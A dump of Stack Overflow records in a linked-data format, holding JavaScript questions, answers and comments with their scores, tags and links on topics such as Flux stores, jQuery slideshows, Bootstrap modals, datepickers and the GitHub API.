has body: I'm making an RPS Bot (rock, paper, scissors robot) in Javascript. Everything works perfectly, except when I tried to add a section to the code that displays the user's scores if they type "scores" or "all scores" into the input box. I've looked over my code for errors, and even tried to use http://jsfiddle.net/ to debug it, but it tells me that there are no errors. So here's the main game Javascript, the problem is most likely starting from here: var play = function() { var randomINT = function(min, max) { var random = Math.floor(Math.random() * (max - min)) + min; if (random &gt; max || random &lt; min) { random = "ERROR"; } return random; }; var capitalize = function(input) { return input.charAt(0).toUpperCase() + input.substring(1); }; var reset = function() { document.getElementById('input').value = ""; document.getElementById('result').scrollTop = document.getElementById( 'result').scrollHeight; }; var getInput = document.getElementById('input').value.toLowerCase(); var username = document.getElementById('username').value; var getRandom = randomINT(1, 4); var output = ["", "", "", "", "", ""]; var scores = [0, 0, 0, 0, 0, 0]; /*^This^ is the scores array, scores[0] is the number of times the user has won, scores[1] is the number of times the user has lost, scores[2] is the number of draws for the user, scores[3] is the number of times the computer has won, scores[4] is the number of times the computer has lost, scores[5] is the number of draws for the computer*/ if (getInput === "" || getInput === null) { getInput = "_Blank"; } if (username === "" || username === null) { username = "user"; } if (getInput.substring(0, 5) == "clear" || getInput == "cls") { document.getElementById('result').innerHTML = ""; reset(); return; } else if (getInput.substring(0, 2) == "my" || getInput.substring(0, 4) == "user") { document.getElementById("result").appendChild(document.createElement("BR")); document.getElementById("result").appendChild(document.createElement("SPAN") .appe…
accepted answer: http://stackoverflow.com/a/25607696
favorite count: 0
has comment: http://stackoverflow.com/comment/40002492
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40002564
has comment: http://stackoverflow.com/comment/40002488
type: Question
score: 1

http://stackoverflow.com/q/25608961
score: 0
has comment: http://stackoverflow.com/comment/40005462
has body: I've wanted to optimize project but faced with problem. I don't know how resolve this problem. I want to use immediate call functoins which initialize IS_LOCALHOST property and CONTEXT_PATH, but I can't get access to isLocalhost() function and constant properties (like port number). I try to put this as a parameter immediate call function but it references on document also I try to save refence like self: this and use this.self like peremeter and even util. I don't understand how I can resolve this problem. Please, help me to understand working solution. var util = { WAR_FILE_NAME : 'app-name/', DEFAULT_TOMCAT_PORT : 8080, DEFAULT_SECURE_TOMCAT_PORT : 8443, /*** Pre construct block ***/ IS_LOCALHOST : ( function () { var isLocalhost = false, hostWithPort = location.host; if ( hostWithPort.indexOf('localhost') !== -1 || hostWithPort.indexOf('127.0.0.1') !== -1 ) { isLocalhost = true; } return isLocalhost; }() ), isLocalhost : function (){ return this.IS_LOCALHOST; }, CONTEXT_PATH : ( function (utilModule) { return location.hostname + ( location.port ? ':' + utilModule.DEFAULT_TOMCAT_PORT : '' ) + '/' + ( utilModule.isLocalhost() ? utilModule.WAR_FILE_NAME : '' ); }(util) ), SECURE_CONTEXT_PATH : ( function (utilModule) { return location.hostname + ( location.port ? ':' + utilModule.DEFAULT_SECURE_TOMCAT_PORT : '' ) + '/' + ( utilModule.isLocalhost() ? utilModule.WAR_FILE_NAME : '' ); }(util) ) }
possible better answer: http://stackoverflow.com/a/25609190
has answer: http://stackoverflow.com/a/25609190
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25609081
accepted answer: http://stackoverflow.com/a/25609081
has title: Javascript. Get reference on outer object from immediate call function
answer count: 2
tagged with: this
tagged with: javascript
linked to: http://stackoverflow.com/q/4616202
tagged with: scope

http://stackoverflow.com/comment/39937827
type: QuestionComment
has text: You might not need another property (and could use `localStorage.length` or so), but in general this is how it works, yes. It might be more convenient to do an existence check on each single property, though.
comment on: http://stackoverflow.com/q/25572166
score: 0
type: Comment

http://stackoverflow.com/comment/80766256
score: 7
type: AnswerComment
comment on: http://stackoverflow.com/a/33169145
type: Comment
has text: This doesn't work when you return to the first page you opened. Because then the `state` is also `null`, but still no hashchange

http://stackoverflow.com/q/25652977
tagged with: jquery-ui
accepted answer: http://stackoverflow.com/a/25653314
tagged with: javascript
score: 0
answer count: 1
tagged with: asp.net
has body: I have a text box that I believe is referencing Jquery.ui.datepicker.css via CssClass? : Textbox 1- Date of birth (where all the validation takes place): &lt;asp:TextBox runat="server" ID="txtDOB" CssClass="small date"&gt;&lt;/asp:TextBox&gt; Textbox 2- Date of deceased (where data needs to be pulled from for validation to take place): &lt;asp:TextBox runat="server" ID="txtDOD" CssClass="small date"&gt;&lt;/asp:TextBox&gt; I'm unfamiliar with jquery but have been trying to program against these two textboxes using C# is this possible? I'm also unfamiliar with this class jquery.ui.datepicker.css where does it come from? how is it referenced exactly? and why is this chosen over your typical asp.net control? If not how can I write jquery expressions (would I need regular expressions?) that will accomplish the requirements? I am trying to accomplish meeting these requirements: It cannot be a future date, and must be less than the date deceased and must be at least 18 years ago. Thank you for any guidance you may have to offer.
tagged with: css
has answer: http://stackoverflow.com/a/25653314
type: AnsweredQuestion
type: Question
tagged with: c#
has title: How to validate a date of birth with a date of deceased textboxes using Jquery.ui.datepicker.css

http://stackoverflow.com/q/25556110
has body: I have just started learning JavaScript and I need some help. I have got an HTML file and a CSS file in which I am NOT to make any changes. With Javascript I have to add 2 links which will hide and show the paragraphs with class "show" . When you open the HTML file in your browser , the paragraphs in question should be hidden. I ve read almost everything that is written here about the hide/show text methods but I still can't solve the problem and I cant seem to get my links to work properly. This is what I've got so far in my JavaScript code: window.onload = function(){ var par = document.getElementsByTagName("p"); var parArray = []; for (var i=0 ; i < par.length; i++) { if (par[i].getAttribute("class") === "show") { parArray.push(par[i]); par[i].style.display = "none"; } } console.log(par); console.log(parArray); for (i=0 ; i<parArray.length; i++) { var a = document.createElement('a'); var linkText = document.createTextNode("Show more information"); a.appendChild(linkText); a.title = "Show more information"; a.href = "#"; parArray[i].parentNode.appendChild(a); } } I want to make a function which will add the proper behavior to my links (show the text and change the link text to hide OR hide the text and change the link text to show) and then use the onclick event handler to call the function. Here is my html code as well: Javascript Hidden textarea Title paragraph One JavaScript paragraph two ...We must hide this paragraph. Title paragraph One JavaScript paragraph two ...We must hide this paragraph. THANK YOU in advance!
tagged with: javascript
has title: How to hide/show text with Javascript - link behavior
downvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/39907271
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25556700
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/39907225
type: Question

http://stackoverflow.com/q/25571713
has answer: http://stackoverflow.com/a/25571845
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
score: 0
has title: Jquery - .offset().left() - percentage
has answer: http://stackoverflow.com/a/25571993
type: UnansweredQuestion
has body: I have: var offset = $(this).offset(); var relativeX = e.pageX - offset.left; This return value of pixels.. How do, return value of percentage?

http://stackoverflow.com/comment/40103120
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25662919
has text: sorry, asked the question prematurely...I had a check on the return false; for the keydown event whether or not the ctrl key is pressed as well but had a typo! Sorry for the waste of time!!
score: 0

http://stackoverflow.com/q/25555823
has title: Dropdown bind onchange method in Razor
possible better answer: http://stackoverflow.com/a/25556119
has answer: http://stackoverflow.com/a/25555913
accepted answer: http://stackoverflow.com/a/25555913
has body: I have the following dropdown. How can I bind the OnChange method to it?. I am using Code first MVC approach. Also, how can I get the index value when binding on change method to it? &lt;div class="editor-label"&gt; @Html.LabelFor(model =&gt; model.Id, "Empl") &lt;/div&gt; &lt;div class="editor-field"&gt; @Html.DropDownList("Id", String.Empty) @Html.ValidationMessageFor(model =&gt; model.Id) &lt;/div&gt;
tagged with: razor
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25556119
type: Question
tagged with: c#
linked to: http://stackoverflow.com/q/19194177
answer count: 2
tagged with: asp.net-mvc
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/q/25667852
tagged with: javascript
tagged with: shadowbox
score: 0
answer count: 2
tagged with: jquery
has answer: http://stackoverflow.com/a/25668135
has answer: http://stackoverflow.com/a/25667942
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: UnansweredQuestion
has title: How to declare CSS properties for a div in SHADOWBOX?
type: Question
has body: I have created a code to open a div using shadowbox, but I am unable to set CSS properties for that Div. This is my code. Hello/h2> Click Me I need to give background image or a background color to Div1. Please help!!

http://stackoverflow.com/a/25573766
has comment: http://stackoverflow.com/comment/39949535
score: 0
has comment: http://stackoverflow.com/comment/39960685
type: Answer
has body: Are you setting at the top: var express = require('express'); var app = express(); ? I know before used to work something like var bodyParser = require('express.bodyParser()'); but no longer, now is separated from express and I am seeing you have a few modules like that, couldnt be that?
answers question: http://stackoverflow.com/q/25573297

http://stackoverflow.com/q/25554095
type: Question
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25554158
score: 0
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
upvote count: 1
tagged with: php
accepted answer: http://stackoverflow.com/a/25554158
downvote count: 1
type: AnsweredQuestion
has title: Load two HTML documents at once ( Load iframe contents from string )
has body: I have a rather strange need. I need to be able to render two documents at once in the same browser window, but it is not as simple as it sounds. In the framework that I'm using, enabling debug mode will cause errors to render as an HTML document, displaying a pretty error report page, however there is also the non-debug mode page that I want to display as well with a button to switch between the two. Basically I have this idea that if I could use an iframe, but input a raw string inside it instead of loading an URL that would be exactly what I'm looking for. Is something like this possible?

http://stackoverflow.com/q/25701168
upvote count: 91
downvote count: 1
has answer: http://stackoverflow.com/a/25701169
has body: I'm rewriting my app to use Flux and I have an issue with retrieving data from Stores. I have a lot of components, and they nest a lot. Some of them are large (Article), some are small and simple (UserAvatar, UserLink). I've been struggling with where in component hierarchy I should read data from Stores. I tried two extreme approaches, neither of which I quite liked: All entity components read their own data Each component that needs some data from Store receives just entity ID and retrieves entity on its own. For example, Article is passed articleId, UserAvatar and UserLink are passed userId. This approach has several significant downsides (discussed under code sample). var Article = React.createClass({ mixins: [createStoreMixin(ArticleStore)], propTypes: { articleId: PropTypes.number.isRequired }, getStateFromStores() { return { article: ArticleStore.get(this.props.articleId); } }, render() { var article = this.state.article, userId = article.userId; return ( <UserAvatar userId={userId} /> {article.title} {article.text} Read more by . ) } }); var UserAvatar = React.createClass({ mixins: [createStoreMixin(UserStore)], propTypes: { userId: PropTypes.number.isRequired }, getStateFromStores() { return { user: UserStore.get(this.props.userId); } }, render() { var user = this.state.user; return ( ) } }); var UserLink = React.createClass({ mixins: [createStoreMixin(UserStore)], propTypes: { userId: PropTypes.number.isRequired }, getStateFromStores() { return { user: UserStore.get(this.props.userId); } }, render() { var user = this.state.user; return ( {this.props.children || user.name} ) } }); Downsides of this approach: It's frustrating to have 100s components potentially subscribing to Stores; It's hard to keep track of how data is updated and in what order because each component retrieves its data independently; Even though you might already have an entity in state, you are forced to pass its ID to children, who will retrieve it again (or else break the consistency).…
tagged with: javascript
score: 90
has comment: http://stackoverflow.com/comment/44103712
tagged with: reactjs
answer count: 4
has answer: http://stackoverflow.com/a/25702249
type: AnsweredQuestion
tagged with: reactjs-flux
favorite count: 0
accepted answer: http://stackoverflow.com/a/25701169
has answer: http://stackoverflow.com/a/33180240
type: Question
possible better answer: http://stackoverflow.com/a/25708499
has title: At what nesting level should components read entities from Stores in Flux?
has answer: http://stackoverflow.com/a/25708499

http://stackoverflow.com/q/25709418
has comment: http://stackoverflow.com/comment/40187858
tagged with: javascript
tagged with: z-index
has comment: http://stackoverflow.com/comment/40187836
has comment: http://stackoverflow.com/comment/40187805
has body: My Bootstrap modal dialog is showing underneath a full screen background image for the page. My CSS class for this background image is: .fullscreen_bg { position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-size: cover; background-position: 50% 50%; background-image: url('http://cleancanvas.herokuapp.com/img/backgrounds/color-splash.jpg'); background-repeat:repeat; } My Bootstrap modal dialog and fullscreen background image together looks like: &lt;body&gt; &lt;div id="fullscreen_bg" class="fullscreen_bg"/&gt; &lt;div class="modal fade" id="error_modal" tabindex="1" role="dialog" aria-labelledby="error_modal" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&amp;times;&lt;/button&gt; &lt;h4 class="modal-title" id="myModalLabel"&gt;Login error&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;h4&gt;&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; I tried changing the z-index for the dialog and background image with no success. The z-index of modal dialog seems to be set at 1040 by default. I thought this was high enough to make it appear right at the top. So, how can I make the bootstrap dialog appear on the top-most layer of the page?
tagged with: modal-dialog
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40188094
type: UnansweredQuestion
tagged with: css
score: 2
answer count: 0
upvote count: 2
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/40187853
type: Question
has title: Modal dialog z-index
has comment: http://stackoverflow.com/comment/40187844

http://stackoverflow.com/a/71242169
type: Answer
has body: function showTags(findTages) { var text = findTages; var tags = []; for (let i = 0; i &lt; text.length; i++) { if (text[i] == &quot;#&quot;) { for (let l = i; l &lt; text.length; l++) { if (text[l] == &quot; &quot;) { tags.push((text.substring(i, l))); break; }; }; }; }; return tags; }; let a = I Love #Coding EveryTime Give Me Credit On Your Website My Name Is #Avi Boy; console.log(showTags((a)));
answers question: http://stackoverflow.com/q/25693456
score: 0
has comment: http://stackoverflow.com/comment/125940477

http://stackoverflow.com/comment/40178875
score: 0
type: Comment
type: QuestionComment
has text: @keune oh nvm i found he solution , right clicking the extension button shows a new popup with the script console , thank you.
comment on: http://stackoverflow.com/q/25704151

http://stackoverflow.com/comment/40031101
comment on: http://stackoverflow.com/a/25613010
score: 0
type: AnswerComment
type: Comment
has text: Will take a look at the package. Implemented it myself for now. Maybe I'll switch sooner or later. Thanks for the advice. Cheers, Igor.

http://stackoverflow.com/q/25567881
tagged with: checkbox
type: Question
has answer: http://stackoverflow.com/a/25574938
tagged with: javascript
tagged with: jquery
has title: angularjs multiple checkbox filtering
score: 0
answer count: 1
has body: I'm wanting to filter on multiple checkboxes but I'm only able to select one at a time. Not sure how to structure this so I can filter on all values. I've created a fiddle, any help is appreciated. &lt;input type="checkbox" id="cb" ng-model="word" ng-true-value="has kitchen" ng-false-value=""&gt; Jimi
tagged with: angularjs
type: UnansweredQuestion

http://stackoverflow.com/comment/40021314
has text: dont want to reinitialize in every function of the view. though... i can put those in those inside of render-function... hmmm....
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25614023
type: QuestionComment

http://stackoverflow.com/a/25688383
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25667606
type: Answer
has body: According to your last comment: You may set a unique persistent cookie on the client. This cookie is unique for each client (don't use the IP address) This cookie is stored along with the session currently running. When the user closes it's browser and reopens it, the session cookie is gone. The client cookie is still valid and will be sent. Now you may check, whether the user is logging in from the same client by checking the client cookie value just send against the one stored in the lingering session and you may even be able to "reinitialize" this session again. This would even work, if the user is trying to open another browser instance (IE and FF) since each browser would have it's own unique cookie value.
accepted answer of: http://stackoverflow.com/q/25667606
score: 0

http://stackoverflow.com/comment/40065731
score: 0
type: AnswerComment
has text: It is a performance reason. I'm going to use this binding veeeeeeeery often and knockout is calling every function which uses the observable. Anyway...your solution likes nice, i'm going to give it a try ;)
type: Comment
comment on: http://stackoverflow.com/a/25642138

http://stackoverflow.com/comment/39949934
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25578507
type: Comment
has text: I'm not getting any output at all. It seems like execution never returns to the queue-async in the routes file, because i never even get the hard-coded "here are the events from routes" logged.

http://stackoverflow.com/comment/40150700
type: AnswerComment
comment on: http://stackoverflow.com/a/25689302
type: Comment
has text: Exactly what I was thinking, and of course the `string` is `window.location.pathname`
score: 1

http://stackoverflow.com/comment/40017143
comment on: http://stackoverflow.com/q/25615517
type: Comment
type: QuestionComment
score: 1
has text: Did you write inside of the loop? The body of the loop executes once for every character in the HTML of the page you requested, which is a lot, times 32. That would also explain any crashing much better.

http://stackoverflow.com/q/25649433
answer count: 3
has title: Angular.js ng-repeat no data using json
has body: I have a project I am working on where I have a json array (that will later come from a web service) and I am trying to use ng-repeat to load that data into a table. (I have done this before, this time it's just slipping paste me what I am missing) I posted the code to github here: https://github.com/sheets/Sch I'd love any help I am posting the code here as well: Date and Time Provider Location Map {{appointments.providerName}} {{appointments.apptLocation}} and app.js: var app = angular.module("MyApp", []); app.controller("SchCtrl", function($scope, $http) { $http.get('/appointments.json'). success(function(data, status, headers, config) { $scope.appointments = data; }). error(function(data, status, headers, config) { // log error }); });
has answer: http://stackoverflow.com/a/25649496
tagged with: angularjs
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25649640
tagged with: http://stackoverflow.com/tag/json
type: Question
has answer: http://stackoverflow.com/a/25649486
has comment: http://stackoverflow.com/comment/40078741
tagged with: javascript
has comment: http://stackoverflow.com/comment/40078830
possible better answer: http://stackoverflow.com/a/25649486
accepted answer: http://stackoverflow.com/a/25649640
score: 0

http://stackoverflow.com/comment/40160138
type: Comment
has text: Removing the call to .html increases the operations per second significantly for both. It of course doesn't change the outcome
comment on: http://stackoverflow.com/q/25694029
score: 0
type: QuestionComment

http://stackoverflow.com/a/25570941
type: Answer
has body: function minOfArray(array) { return Math.min.apply(this, array.filter(function (a) { return !isNaN(a); })); } function maxOfArray(array) { return Math.max.apply(this, array.filter(function (a) { return !isNaN(a); })); }
answers question: http://stackoverflow.com/q/25570747
score: 0

http://stackoverflow.com/a/25600554
downvote count: 1
type: Answer
has body: I am not sure if you are using jquery or plain javascript. if it is jquery then you can use jquery noconflict. Create separate aliases to use jquery for div1 &amp; div2 &lt;script&gt; var div1Alias = $.noConflict(); var div2Alias = div1Alias.noConflict(); jQuery(document).ready(function(){ alert(div1Alias( "#div1" ).html()); alert(div2Alias( "#div2" ).html()); }); &lt;/script&gt; http://learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/ How do I implement JQuery.noConflict() ?
score: 0
answers question: http://stackoverflow.com/q/25599774
upvote count: 1

http://stackoverflow.com/comment/40102849
type: QuestionComment
has text: Look into delegated events http://learn.jquery.com/events/event-delegation/
comment on: http://stackoverflow.com/q/25662948
score: 0
type: Comment

http://stackoverflow.com/a/25708255
has comment: http://stackoverflow.com/comment/40185852
answers question: http://stackoverflow.com/q/25708199
score: 0
has comment: http://stackoverflow.com/comment/40185873
has body: in the bigger JS part there are only function definitions, but now calls - to make them run in any case, you need to call them, like: noSearch(); advancedSearch(); and this part doesn't seem to be related to $_POST checking .. to avoid not calling them in search.php, you should remove if(isset($_POST["cari"])){ check from your main file and do it inside of the search.php
type: Answer

http://stackoverflow.com/q/25630377
has answer: http://stackoverflow.com/a/25637831
type: AnsweredQuestion
has title: How to get minimal jQuery slideshow to slide properly?
linked to: http://stackoverflow.com/q/25396899
type: Question
has body: Trying to make this minimal jQuery slideshow (Simple jQuery slideshow using animate()), but how do I make the 3rd and 4th image slide "together" like in the 1st and 2nd image? http://jsfiddle.net/frank_o/eku4Lwt1/44/ JS: changeSlide(1, $(".slideshow img")); function changeSlide(i, items) { setTimeout( function() { var currentItem = items.eq(i), prevItem = items.eq(i-1); prevItem.css("left", -prevItem.width()); currentItem.css("right", 0); changeSlide(i+1, items); }, 2000); } HTML: &lt;div class="slideshow" style="height: 100px; width: 200px; overflow: hidden;"&gt; &lt;img src="http://lorempixel.com/200/100" /&gt; &lt;img src="http://lorempixel.com/200/101" /&gt; &lt;img src="http://lorempixel.com/200/102" /&gt; &lt;/div&gt; CSS: .slideshow { background: white; position: relative; } .slideshow img { position: absolute; top: 0; right: -200px; width: 200px; height: 100px; -webkit-transition: all 2s ease; } .slideshow img:first-child { left: 0; } Ideally they should slide like in this Slick.js example (although I feel Slick is overkill for this job): http://jsfiddle.net/frank_o/eku4Lwt1/2/
has comment: http://stackoverflow.com/comment/40047602
answer count: 2
possible better answer: http://stackoverflow.com/a/25637831
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40045288
has comment: http://stackoverflow.com/comment/40047276
score: 0
has comment: http://stackoverflow.com/comment/40044614
tagged with: css
has answer: http://stackoverflow.com/a/25632920
accepted answer: http://stackoverflow.com/a/25632920

http://stackoverflow.com/q/25690617
has comment: http://stackoverflow.com/comment/40153434
type: Question
has answer: http://stackoverflow.com/a/25690752
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25690752
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40153283
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40153282
has body: Here I'm looping through an object and retrieving the key:value pairs and placing them in a table obj = clickedRecord.toJSON(); //gets record from //separate table and converts to JSON format var array=[]; for(key in obj) { if(obj.hasOwnProperty(key)) { array.push( '&lt;table id="myTable"&gt;' + '&lt;tr&gt;' + '&lt;td&gt;' + key + '&lt;/td&gt;' + '&lt;td&gt;' + obj[key] + '&lt;/td&gt;' + '&lt;tr&gt;' + '&lt;/table&gt;'' ); } } The output of which is: ID 100 , Name Billy , Address 525 Park Lane , Is there a cleaner way to dynamically construct a table using a javascript Object, as well as omit the commas from the returned data?
has title: Dynamically Building HTML Table with Javascript Object

http://stackoverflow.com/q/25695287
has title: Duplicate append issue
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25695329
tagged with: javascript
type: UnansweredQuestion
score: 2
downvote count: 0
has body: I'm using the values of a Select2 Menu so that when a button is clicked the name of that value is appended to the page in the form of a tag. Everything works on the first click however when I select another value and the button is clicked, another instance of the previous value is appended as well as the new one. Sorry if this is a dumb question, I'm still learning. Any tips would be appreciated, thank you!!!! $('#e1').click(function() { var search_box_name = $('option:selected', this).attr('company_name'); var search_box_id = $('option:selected', this).attr('id'); $('#searchbutton').click(function() { $('#displaycompanies').append(''+search_box_name+'X'); $('#form_new_product').append(' '); }); });
tagged with: jquery
favorite count: 0
type: Question

http://stackoverflow.com/comment/39958666
comment on: http://stackoverflow.com/q/25583064
has text: How did you put that data into the Firebase? Because your JSON is returned quite differently from mine: https://stackoverflow.firebaseio.com/25564200/array.json
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25702491
has title: Positioning a div element created with jQuery
tagged with: position
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40175196
accepted answer: http://stackoverflow.com/a/25703778
type: AnsweredQuestion
type: Question
has body: I have a jQuery function to create a simple div, code follows - var mouseX; var mouseY; $(document).mousemove(function (e) { mouseX = e.pageX; mouseY = e.pageY; }); function createObj() { var o = $('&lt;div /&gt;'); o.addClass('myDiv'); o.css({'top':mouseY,'left':mouseX}).fadeIn('slow'); $(document.body).append(o); } My problem is that the first div is created at the requested location, but if I call the function again to create another div it is created below the first div and the next one is create below the second etc. How can I make the new div at the current mouse location?
has answer: http://stackoverflow.com/a/25703778
tagged with: javascript
tagged with: jquery
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40175107

http://stackoverflow.com/comment/40180682
has text: I don't know now ... waiting for someone else to give a more coincise response to my question ? :-)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25683031
type: AnswerComment

http://stackoverflow.com/q/25552843
accepted answer: http://stackoverflow.com/a/25553473
has comment: http://stackoverflow.com/comment/39900884
score: 1
has body: Considering JSON tree structure listed below (it can be n level deep), I want to create a nested unordered list var data = [{ 'text': 'Subjects', 'data': [{ 'text': 'Geography', 'data': [] }, { 'text': 'History', 'data': [{ 'text': 'Ancient History', 'data': [] }] }] }, { 'text': 'Sports', 'data': [] }, { 'text': 'Music', 'data': [] }]; data can be nested 'n' level deep. You can have 'data' within 'data' which is within another 'data' and so on. The output should be something like this Subjects Geography History Ancient History Sports Music function json_tree(object) { var json = " "; for (prop in object) { var value = object[prop]; switch (typeof(value)) { case "object": json += " " + value.text + json_tree(value) + " "; break; default: json += " " + value.text + " "; } } return json + " "; } I have tried using the above code, but this does not yield required results.
type: Question
downvote count: 2
has answer: http://stackoverflow.com/a/25553473
tagged with: arrays
answer count: 1
tagged with: javascript
favorite count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/39900981
has comment: http://stackoverflow.com/comment/39902178
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11922383
has title: Create nested unordered list from JavaScript object (it can be n level deep)

http://stackoverflow.com/q/25573157
has answer: http://stackoverflow.com/a/25573323
tagged with: timepicker
tagged with: datepicker
upvote count: 1
possible better answer: http://stackoverflow.com/a/25573697
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25573697
has body: After much too much googling and searching stackoverflow for my answer, I have been unsuccessful. So I am sorry if this is a duplicate. I have a datepicker that displays only time. I wish to toggle between military and standard time on a dropdown onchange event. My attempts have been something of this: function militarytoggle(element) { timetype = $("#military").val(); if(timetype == "military") { $('.time').datetimepicker({ timeOnly: true, timeFormat: 'HH:mm' }); } else if(timetype == "standard"){ $('.time').datetimepicker({ timeOnly: true, timeFormat: 'hh:mm TT' }); } } EDIT: The datetime method I am using (that is currently working) is rendered on document ready: $('.time').datetimepicker({ timeOnly: true, dateFormat: '', timeFormat: 'hh:mm TT' }); I only wish to change timeFormat on an event. One would think this would work, redundancy aside. What on Earth am I doing wrong?? Thanks in advance everyone!
accepted answer: http://stackoverflow.com/a/25573323
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
answer count: 2
has title: Change jquery datetimepicker format on event
score: 1
favorite count: 0

http://stackoverflow.com/q/25610341
accepted answer: http://stackoverflow.com/a/25610439
downvote count: 2
has comment: http://stackoverflow.com/comment/40007562
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25610439
has body: I'm calling a function with one parameter from an innerHTML property but nothing was displayed this is my code: var myVar="Ali"; summaryPanel.innerHTML += "&lt;a href='javascript:sayHello("+ myVar+");'&gt;" + "Say Hello" + "&lt;/a&gt;"; function sayHello(myVar) { window.alert(myVar); }
tagged with: javascript
score: -1
has title: Calling a function with parameters in href attribute
has comment: http://stackoverflow.com/comment/100399627
has answer: http://stackoverflow.com/a/25610458
answer count: 3
has answer: http://stackoverflow.com/a/56929365
has comment: http://stackoverflow.com/comment/40007513
favorite count: 0
possible better answer: http://stackoverflow.com/a/56929365
type: AnsweredQuestion

http://stackoverflow.com/a/55497721
score: 19
upvote count: 19
has comment: http://stackoverflow.com/comment/130569636
has body: Hello from the future (2019)! This is now directly possible with native DOM API in modern browsers (that is, not Internet Explorer): Element.closest So you can replace jQuery(selector).closest with document.querySelector(selector).closest. Similarly, you should be able to eliminate other jQuery functions in your code such as .children() by using native .children and .addClass() by using .classList.add(). See also YouMightNotNeedJquery.com "Native Equivalents of JQuery Methods - Part 1: Selecting DOM Elements" (links for other parts are at the bottom of this codepen) "Native JavaScript Equivalents of jQuery Methods: the DOM and Forms"
downvote count: 0
answers question: http://stackoverflow.com/q/25597321
has comment: http://stackoverflow.com/comment/131720645
has comment: http://stackoverflow.com/comment/131708151
has comment: http://stackoverflow.com/comment/131711069
type: Answer

http://stackoverflow.com/q/25609238
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40005594
has comment: http://stackoverflow.com/comment/40005678
has answer: http://stackoverflow.com/a/25610172
score: 1
has body: I'm trying to write client-side Javascript that will fork a given GitHub repo. I'm using the OAuth.io service to get an OAuth token with the API scopes set to "public_repo" and "repo" . I'm using github.js to access the GitHub API, using the fork method (in the makeWebsite function): $(document).ready(function() { initializeOAuth(); setEventListener(); }); var setEventListener = function() { $("#button").click(popupOAuth); }; var initializeOAuth = function() { OAuth.initialize("rG-ChpeD0zdiIPoJpK58gN4qMJQ"); }; var popupOAuth = function() { OAuth.popup("github").done(makeWebsite); }; var makeWebsite = function(result) { var token = result["token"]; var github = new Github({ token: token, auth: "oauth" }); var repo = github.getRepo("michael", "github"); repo.fork(function(err) { console.log(err); }); }; When I run this code and complete the OAuth dance, I get the following error:
type: Question
tagged with: github-api
upvote count: 1
downvote count: 0
answer count: 1
has title: Forking a repo with the GitHub API with client-side Javascript and OAuth.io
tagged with: javascript
tagged with: github
favorite count: 0
tagged with: oauth

http://stackoverflow.com/a/48379774
type: Answer
has body: This can stop it appearing to work Stop it working That's because the href will effectively add a new page in the history, the present page again Incidently if you call event.preventDefault() in DoSomething then # will never get added to the history and it will appear to work again
answers question: http://stackoverflow.com/q/25673477
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/39974406
comment on: http://stackoverflow.com/q/25592201
score: 1
has text: Have you tried to run VS as Administrator?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39918657
comment on: http://stackoverflow.com/q/25562285
score: 0
type: Comment
type: QuestionComment
has text: You are using same id for different elements , this may cause error. i can give you answer in JQuery if you are ok to use it, BTW jQuery is fun and simple.

http://stackoverflow.com/q/25584259
tagged with: javascript
has title: Add weight to randomisation
has comment: http://stackoverflow.com/comment/39994039
upvote count: 4
has answer: http://stackoverflow.com/a/25584735
has answer: http://stackoverflow.com/a/25584450
score: 3
has body: I'm struggling to find any resources that help with this question: Say I want to generate a random number between 1 and 5, but wish the randomisation to be weighted toward the bottom end (like if generating a random number of children a couple might have, which is more likely to be 1 than 5). Where should I start? Would this involve creating a complex function to map that curve or is there a method available to help with this? For very simple sets I suppose I could create an array, so for the above example I could do, for example: var children = [1,1,1,1,2,2,2,3,4,5]; return children[Math.floor(Math.random() * children.length)]; But this lacks flexibility and assumes the data set is being created manually within the script.
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
answer count: 4
has comment: http://stackoverflow.com/comment/39962262
has answer: http://stackoverflow.com/a/25584388
has comment: http://stackoverflow.com/comment/39959794
